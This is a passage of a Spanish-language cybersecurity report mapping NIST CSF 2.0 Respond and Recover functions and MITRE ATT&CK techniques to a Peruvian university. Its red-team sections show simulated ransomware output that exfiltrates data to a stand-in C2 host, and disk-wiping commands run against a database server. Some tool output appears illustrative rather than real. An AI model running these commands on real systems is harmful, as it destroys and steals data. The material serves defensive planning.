La función de **Respuesta (Respond - RS)** se activa en el momento en que una alerta del SIEM se confirma como un incidente real. El objetivo es contener el impacto del ataque (ej. un ransomware propagándose por los laboratorios) antes de que alcance los sistemas neurálgicos de la UNAP (el SIA o los respaldos inmutables). Una respuesta ineficaz o desorganizada suele causar más daño institucional (pánico, pérdida de datos por apagados abruptos) que el ataque mismo.

Las categorías operativas del NIST aplicables son:

- **RS.MA (Gestión de Incidentes / Incident Management):** Define la orquestación de la crisis. Activa el Plan de Respuesta a Incidentes (IRP) y convoca al Equipo de Respuesta a Emergencias Informáticas / Cyber Incident Response Team (CIRT) de la UNAP.
- **RS.AN (Análisis de Incidentes / Incident Analysis):** Abarca la investigación forense en caliente. Busca determinar el alcance de la brecha: ¿Qué credenciales se robaron? ¿Qué base de datos está cifrada?
- **RS.MI (Mitigación de Incidentes / Incident Mitigation):** Es la ejecución táctica de contención y erradicación, como aislar servidores o desconectar la conexión troncal a Internet de una facultad.

Sec 6.2 Metodologías y Mecanismos de Defensa

La improvisación durante un ciberataque es fatal. La OTI debe adoptar metodologías estandarizadas:

1. Ciclo de Respuesta a Incidentes de SANS (PICERL): Metodología de 6 fases (Preparación, Identificación, Contención, Eradicación, Recuperación, Lecciones Aprendidas). En la fase de *Contención*, la UNAP no debe apagar los servidores infectados (lo que destruiría la memoria RAM valiosa para el análisis forense), sino aislarlos lógicamente de la red. En la *Eradicación*, se purga el malware eliminando los mecanismos de persistencia (ej. llaves de registro o *cron jobs*).

2. Playbooks Automatizados (SOAR): La respuesta manual es demasiado lenta contra ataques de máquina a máquina. La metodología SOAR (Orquestación, Automatización y Respuesta de Seguridad / Security Orchestration, Automation, and Response) pre-programa flujos de trabajo. Si se detecta un inicio de sesión imposible (ej. un alumno conectándose desde Puno y China simultáneamente), el Playbook revoca automáticamente el token de sesión sin intervención humana.

Sec 6.3 Vector de Ataque y Técnicas Ofensivas (Equipo Rojo (Red Team))

El peor escenario durante la respuesta es el cifrado extorsivo de la infraestructura académica.

- **Vectores MITRE ATT&CK:** El Equipo Rojo (Red Team) despliega **T1486 (Data Encrypted for Impact)**, simulando la ejecución de una cepa de ransomware en un servidor Linux que aloja

repositorios de tesis. Previamente, utilizan **T1048 (Exfiltration Over Alternative Protocol)** para extraer los archivos por HTTPS hacia un servidor de Mando y Control (C2) para doble extorsión.

El Equipo Rojo (Red Team) simula el impacto utilizando criptografía real (ej. OpenSSL o scripts en Python) sobre datos de prueba, demostrando la velocidad con la que un atacante puede inutilizar la operación universitaria.

```
>_ |  Ataque: Ejecución de Ransomware Extorsivo (T1486)
root@kali-redteam:~# python3 ransomware_sim.py \
                     --target /var/www/html/tesis
[*] Generating RSA-2048 keypair...
[*] Exfiltrating 2.4GB to https://c2-redteam.org/upload \
    (T1048)... Done.
[*] Encrypting files with AES-256 (T1486)...
[+] Encrypted: /var/www/html/tesis/proyecto_ingenieria_2026.pdf
[+] Encrypted: /var/www/html/tesis/db_backup.sql
[!] 14,302 files encrypted in 4.2 seconds.
[*] Dropping README_RANSOM.txt...
```

Sec 6.4 Herramientas y Controles de Defensa (Equipo Azul (Blue Team))

La defensa activa se ejecuta a través de herramientas de EDR (como *CrowdStrike Falcon* o *Wazuh*) y orquestadores SOAR (como *TheHive* o *Cortex XSOAR*).

Cuando el SIEM detecta el proceso de cifrado (alta tasa de lectura/escritura y cambio de extensiones), invoca un webhook hacia el módulo de Respuesta Activa de Wazuh. En lugar de bloquear la IP del atacante en el firewall perimetral (medida inútil pues el atacante ya está dentro), se ejecuta un aislamiento (Containment) local en el kernel del servidor infectado mediante `iptables`.

```
>_ |  Defensa: Aislamiento Lógico del Host Comprometido (Wazuh AR)
root@host-infectado:~# iptables -F
root@host-infectado:~# iptables -A INPUT -s 192.168.10.10 \
                       -j ACCEPT
root@host-infectado:~# iptables -A OUTPUT -d 192.168.10.10 \
                       -j ACCEPT
root@host-infectado:~# iptables -P INPUT DROP
root@host-infectado:~# iptables -P FORWARD DROP
root@host-infectado:~# iptables -P OUTPUT DROP
root@host-infectado:~# echo \"Host aislado. \
                       Solo comunica con Wazuh Manager.\"
```

Sec 6.5 Buenas Prácticas y KPIs para la UNAP

Para garantizar que la respuesta sea un proceso de Tier 3 (Repetible y Formal), se establecen las siguientes prácticas:

1. **Ejercicios de Mesa (Ejercicios de Simulación de Mesa (Tabletop Exercises)):** Realizar simulacros de crisis semestrales con el Rectorado y la Oficina de Imagen Institucional, evaluando cómo respondería la universidad a un secuestro de datos en plena semana de matrículas.

2. **Cadena de Custodia Forense:** Si el ataque involucra fraude financiero (ej. tesorería), el equipo de TI debe crear imágenes bit a bit (clonado forense) de los discos antes de restaurarlos, para permitir peritajes legales posteriores.

3. **Aislamiento Dinámico de Red:** Mantener la capacidad de segmentar o apagar segmentos de red (ej. aislar la Facultad de Derecho) desde el switch core sin afectar al resto de la universidad.

Indicadores Clave de Rendimiento (KPIs):

- **KPI 1: Tiempo Medio de Contención (MTTC - Mean Time To Contain):** Mide la velocidad del equipo de respuesta para detener la propagación del ataque tras ser detectado. Meta Tier 3: < 1 hora.

$$MTTC = \frac{\sum(\text{Hora de Aislamiento del Host} - \text{Hora de Detección de la Alerta})}{\text{Número Total de Incidentes Confirmados}} \tag{6.1}$$

- **KPI 2: Tasa de Eficacia de Playbooks Automatizados (TE_p):** Mide la confianza y automatización del SOC (Centro de Operaciones de Seguridad / Security Operations Center), evaluando cuántos incidentes fueron mitigados por software sin necesidad de un analista humano.

$$TE_p = \left(\frac{\text{Incidentes Contenidos Automáticamente por SOAR}}{\text{Total de Incidentes de Nivel 1 y 2}} \right) \times 100 \tag{6.2}$$

7 Recuperación (Recover)

Sec 7.1 Fundamento y Categorías NIST CSF 2.0

La función de **Recuperación (Recover - RC)** es el último recurso de la resiliencia institucional. Se ejecuta cuando la contención ha fallado o el daño ya está hecho (ej. un servidor de base de datos fue destruido). El objetivo es restaurar las operaciones académicas y administrativas de la UNAP a su estado normal de forma oportuna, reduciendo el impacto financiero, operativo y reputacional.

Las categorías oficiales implementadas son:

- **RC.RP (Ejecución del Plan de Recuperación de Incidentes / Incident Recovery Plan Execution):** Asegura que los procesos de restauración (ej. levantar respaldos de máquinas virtuales o reconstruir bases de datos MySQL) se ejecuten durante y después de un incidente basándose en un plan preestablecido.
- **RC.CO (Comunicación de Recuperación de Incidentes / Incident Recovery Communication):** Abarca la gestión de relaciones públicas. Es crítico que la universidad sepa comunicar la caída del SIA a los estudiantes, al Ministerio de Educación (MINEDU) y a la SUNEDU, manejando la crisis reputacional.

Sec 7.2 Metodologías y Mecanismos de Defensa

La recuperación no se improvisa bajo presión; se basa en arquitecturas diseñadas años antes del incidente.

1. Gestión de Continuidad del Negocio / Business Continuity Management (BCM, ISO 22301): Esta norma internacional guía a la UNAP para crear su Plan de Recuperación ante Desastres / Disaster Recovery Plan (DRP). Define matemáticamente cuánto tiempo puede estar caída la universidad antes de incurrir en pérdidas irrecuperables de información (RPO) o multas regulatorias (RTO).

2. Arquitectura de Respaldo 3-2-1-1-0: El estándar moderno de oro contra el ransomware. Exige: **3** copias de los datos de la UNAP, en **2** medios distintos (ej. disco y cinta), **1** copia fuera del sitio (Fuera de Sitio (Offsite) / Nube), **1** copia *Aislado Físicamente (Air-gapped)* o Inmutable (no modificable ni por el administrador root), y **0** errores (verificados mediante pruebas automatizadas de restauración).

Sec 7.3 Vector de Ataque y Técnicas Ofensivas (Equipo Rojo (Red Team))

Los actores de amenazas avanzadas / Advanced Persistent Threats (APTs) o atacantes patrocinados por estados (State-Sponsored) a veces no buscan dinero, sino causar daño irreversible a la infraestructura de una institución pública.

- **Vectores MITRE ATT&CK:** El Equipo Rojo (Red Team) ejecuta **T1485 (Data Destruction: Wiper)**. A diferencia del ransomware que cifra para pedir rescate, el Wiper sobrescribe los sectores

del disco duro con ceros u otra basura criptográfica, destruyendo el Master Boot Record (MBR) y las tablas de bases de datos para impedir cualquier recuperación convencional.

El Equipo Rojo (Red Team) simula este ataque devastador en un entorno de laboratorio de la UNAP para evaluar si la OTI es capaz de reconstruir un servidor desde sus cimientos (Restauración desde Cero (Bare-Metal Restore)) confiando únicamente en sus repositorios inmutables.

```
>_ |  Ataque: Destrucción de Datos (T1485) tipo Wiper
root@kali-redteam:~# ssh root@db-siga.unap.edu.pe
root@db-siga:~# echo "Iniciando sobrescritura de sectores..."
root@db-siga:~# dd if=/dev/urandom of=/dev/sda bs=1M \
                 count=1024 status=progress
1073741824 bytes (1.1 GB, 1.0 GiB) copied, 12 s, 89.5 MB/s
root@db-siga:~# rm -rf /var/lib/mysql/*
root@db-siga:~# echo "Sistema de archivos destruido. Reiniciando."
root@db-siga:~# init 6
```

Sec 7.4 Herramientas y Controles de Defensa (Equipo Azul (Blue Team))

La defensa contra un ataque destructivo depende enteramente de la infraestructura de almacenamiento secundario. La OTI utiliza soluciones de nivel empresarial como *Veeam Backup & Replication* o entornos Open Source robustos como *Bacula* y *Proxmox Backup Server*.

Para combatir ataques Wiper (T1485) o Ransomware (T1486), la UNAP configura repositorios inmutables (ej. S3 Object Lock o ZFS Snapshots con retención rígida). Esto asegura que aunque el atacante obtenga acceso `root` al servidor de backups, el sistema de archivos subyacente rechace la solicitud de borrado.

```
>_ |  Defensa: Restauración desde Snapshot Inmutable (ZFS)
root@backup-server:~# zfs list -t snapshot | grep siga_prod
tank/backups/siga_prod@auto-20260913-0000   1.2G  -   45G  -

root@backup-server:~# zfs destroy \
                      tank/backups/siga_prod@auto-20260913-0000
cannot destroy 'tank/backups/siga_prod@auto-20260913-0000':
dataset is immutable (retention period active).

root@backup-server:~# zfs rollback \
                       tank/backups/siga_prod@auto-20260913-0000
[OK] LUN restaurada al estado inmutable del día anterior.
root@backup-server:~# zcat /tank/backups/siga_prod.sql.gz \
                      | mysql -u root
```

Sec 7.5 Buenas Prácticas y KPIs para la UNAP

La madurez Tier 3 exige abandonar la esperanza y abrazar la ingeniería de la resiliencia:

1. **Restauración Automatizada (SureBackup):** Configurar el sistema de backups para que, cada domingo, levante automáticamente las máquinas virtuales críticas de la UNAP en un entorno de

pruebas aislado (sandbox) y verifique si el servicio web responde, garantizando que el backup realmente sirve.

2. **Plan de Comunicaciones (Fuera de Banda (Out of Band)):** Mantener un canal alternativo (ej. un grupo de Signal o servidores de correo en la nube independientes) para que las autoridades de la UNAP puedan comunicarse si el correo institucional primario cae.

3. **Clasificación de Criticidad (Tiering):** No todos los sistemas pueden restaurarse primero. Clasificar al SIA y a planillas como "Prioridad 1", y dejar los portales informativos de extensión universitaria como "Prioridad 3".

Indicadores Clave de Rendimiento (KPIs):

- **KPI 1: Tiempo Objetivo de Recuperación / Recovery Time Objective (RTO):** Mide la desviación entre el tiempo ideal pactado por las autoridades para levantar un servicio y el tiempo real que tardó la OTI durante el incidente (o simulacro).

$$\text{Desviación RTO} = \left(\frac{\text{Tiempo de Restauración Real} - \text{RTO Aprobado en DRP}}{\text{RTO Aprobado en DRP}} \right) \times 100 \quad (7.1)$$

- **KPI 2: Punto Objetivo de Recuperación / Recovery Point Objective (RPO):** Mide la cantidad de horas de datos de la UNAP que se perdieron irreversiblemente porque no llegaron a respaldarse antes del ataque.

$$\text{Desviación RPO} = \left(\frac{\text{Hora del Desastre} - \text{Hora del Último Backup Exitoso}}{\text{RPO Aprobado en DRP}} \right) \quad (7.2)$$

Matriz de Integración y Madurez

El siguiente cuadro consolida el ciclo de vida NIST CSF 2.0 en la UNAP, interrelacionando los marcos de ataque (MITRE ATT&CK), las defensas operativas y las métricas directivas (KPIs). El objetivo final de la universidad es llevar cada uno de estos controles desde un nivel Ad-Hoc (Tier 1/2) hacia un estado Repetible e Institucionalizado (Tier 3).

Fase (NIST)	Amenaza (MITRE)	Defensa / Herramienta	Métrica KPI
Gobernanza (GV)	T1195 Compromiso Cadena de Suministro, T1078	GRC (Eramba), Políticas PSI, Comité CSI	% Autoridades capacitadas.
Identificación (ID)	T1595 Escaneo Activo	ITAM (Snipe-IT), Nessus, CMDB	% Activos en CMDB.
Protección (PR)	T1110 Fuerza Bruta, T1552 Credenciales no seguras	NGFW, EDR, VPN, MFA Obligatorio	% Endpoints con MFA.
Detección (DE)	T1059 Intérprete de Comandos	SIEM (Wazuh), IDS/IPS (Snort)	MTTD (Mean Time to Detect).
Respuesta (RS)	T1486 Datos Cifrados por Impacto	SOAR, Firewall CLI, Plan IRP	MTTC (Mean Time to Contain).
Recuperación (RC)	T1485 Destrucción de Datos	Veeam, Respaldos 3-2-1-1-0 inmutables	RTO y RPO evaluados empíricamente.

9 Conclusiones y Recomendaciones

Sec 9.1 Conclusión del Análisis

La adopción del **NIST Cybersecurity Framework 2.0** en la Universidad Nacional del Altiplano (UNAP) representa un salto cualitativo hacia la resiliencia, con miras a alcanzar el **Tier 3 (Repetible)** de madurez. Al mapear las tácticas ofensivas de **MITRE ATT&CK** frente a las funciones defensivas del CSF, se demuestra que la protección tecnológica (EDR, Firewalls) es inútil sin una Gobernanza fuerte y métricas claras (MTTD, MTTC, RTO).

Sec 9.2 Recomendaciones Finales para la OTI-UNAP

- **Ejecución basada en Métricas:** Implementar un tablero de control (Dashboard) que reporte mensualmente al rectorado el avance de los KPIs establecidos en el Capítulo 8.
- **Cultura de Seguridad Continua:** Trascender la tecnología enfocándose en el factor humano, cerrando la brecha de vulnerabilidad mediante programas antifraude obligatorios para estudiantes y docentes.

BIBLIOGRAFÍA

National Institute of Standards and Technology. The nist cybersecurity framework (csf) 2.0. Technical Report NIST CSWP 29, U.S. Department of Commerce, 2024. URL https://doi.org/10.6028/NIST.CSWP.29.

MITRE Corporation. Mitre att&ck® - enterprise matrix, 2024a. URL https://attack.mitre.org/. Accessed: 2026-09-13.

MITRE Corporation. Supply chain compromise, technique t1195 - enterprise, 2024b. URL https://attack.mitre.org/techniques/T1195/.

MITRE Corporation. Valid accounts, technique t1078 - enterprise, 2024c. URL https://attack.mitre.org/techniques/T1078/.

MITRE Corporation. Os credential dumping, technique t1003 - enterprise, 2024d. URL https://attack.mitre.org/techniques/T1003/.

MITRE Corporation. Unsecured credentials, technique t1552 - enterprise, 2024e. URL https://attack.mitre.org/techniques/T1552/.

MITRE Corporation. Acquire infrastructure, technique t1583 - enterprise, 2024f. URL https://attack.mitre.org/techniques/T1583/.

MITRE Corporation. Command and scripting interpreter, technique t1059 - enterprise, 2024g. URL https://attack.mitre.org/techniques/T1059/.

MITRE Corporation. Exploit public-facing application, technique t1190 - enterprise, 2024h. URL https://attack.mitre.org/techniques/T1190/.

MITRE Corporation. Scheduled task/job, technique t1053 - enterprise, 2024i. URL https://attack.mitre.org/techniques/T1053/.

MITRE Corporation. Brute force, technique t1110 - enterprise, 2024j. URL https://attack.mitre.org/techniques/T1110/.

MITRE Corporation. Phishing, technique t1566 - enterprise, 2024k. URL https://attack.mitre.org/techniques/T1566/.

MITRE Corporation. Data encrypted for impact (ransomware), technique t1486 - enterprise, 2024l. URL https://attack.mitre.org/techniques/T1486/.

MITRE Corporation. Data destruction, technique t1485 - enterprise, 2024m. URL https://attack.mitre.org/techniques/T1485/.

ISO/IEC. *ISO/IEC 27001:2022 - Information security, cybersecurity and privacy protection – Information security management systems – Requirements*. International Organization for Standardization, 2022.

Wazuh Inc. Wazuh - the open source security platform, 2024. URL https://wazuh.com/.

Jens Steube. Hashcat - advanced password recovery, 2024. URL https://hashcat.net/hashcat/.

Gordon Lyon. Nmap: the network mapper - free security scanner, 2024. URL https://nmap.org/.